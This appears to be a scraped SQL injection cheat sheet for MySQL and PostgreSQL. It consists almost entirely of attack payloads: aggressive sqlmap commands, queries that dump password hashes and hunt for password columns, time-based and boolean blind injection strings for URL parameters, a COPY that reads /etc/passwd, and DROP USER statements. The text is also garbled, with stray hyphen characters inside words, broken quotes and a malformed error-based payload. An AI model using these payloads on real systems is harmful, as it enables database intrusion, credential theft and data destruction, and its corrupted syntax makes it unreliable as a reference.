Injection SQL Cheat Sheet

SQLMAP

sqlmap -u "­url­" --forms --batch --crawl=10 --level=5 --risk=3

Version

SELECT @@version;

Current user

SELECT user(); || SELECT system­_user()

List password hashes

SELECT host, user, password FROM mysql.u­ser;

List databases

SELECT schema­_name FROM inform­ati­on_­sch­ema.sc­hemata; || SELECT distin­ct(db) FROM mysql.db

List collumns

SELECT table_­schema, table_­name, column­_name FROM inform­ati­on_­sch­ema.co­lumns WHERE table_­schema != ‘mysql’ AND table_­schema != ‘infor­mat­ion­_sc­hema’

Time delay

SELECT BENCHM­ARK­(10­000­00,­MD5­(‘A’)); SELECT SLEEP(5); # >= 5.0.12

Hostna­me/IP Address

SELECT @@host­name;

Delete user

DROP USER test1; —

sqlmap -u "­url­" -DBS

sqlmap -u "­url­" -columns -D [database] -T [table]

Quick detect INTEGERS

select 1 and row(1,­1)>­(select count(),conc­at(­CON­CAT­(@@­VER­SIO­N),­0x3­a,f­loo­r(r­and()2))x from (select 1 union select 2)a group by x limit 1))

Clear SQL Test

produc­t.p­hp?id=4 produc­t.p­hp?­id=5-1 produc­t.p­hp?id=4 OR 1=1 produc­t.p­hp?­id=-1 OR 17-7=10

Real world sample

Produc­tID=1 OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1) OR SLEEP(­25)=0 LIMIT 1-- Produc­tID­=1' OR SLEEP(­25)=0 LIMIT 1-- Produc­tID­=1') OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1)) OR SLEEP(­25)=0 LIMIT 1-- Produc­tID­=SELECT SLEEP(­25)--

Version

SELECT version()

Current user

SELECT user; SELECT curren­t_user; SELECT sessio­n_user; SELECT usename FROM pg_user; SELECT getpgu­ser­name();

List DBA Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current database

SELECT curren­t_d­ata­base()

List tables

SELECT c.relname FROM pg_cat­alo­g.p­g_class c LEFT JOIN pg_cat­alo­g.p­g_n­ame­space n ON n.oid = c.reln­ame­space WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_c­ata­log’, ‘pg_to­ast’) AND pg_cat­alo­g.p­g_t­abl­e_i­s_v­isi­ble­(c.oid)

Find Tables From Column Name

SELECT DISTINCT relname FROM pg_class C, pg_nam­espace N, pg_att­ribute A, pg_type T WHERE (C.rel­kin­d=’­r') AND (N.oid­=C.r­el­nam­espace) AND (A.att­rel­id=­C.oid) AND (A.att­typ­id=­T.oid) AND (A.att­num­>0) AND (NOT A.atti­sdr­opped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%pass­word%’;

Local File Access

CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/­pas­swd’;

Port

SELECT inet_s­erv­er_­port();

Delete user

DROP USER test1;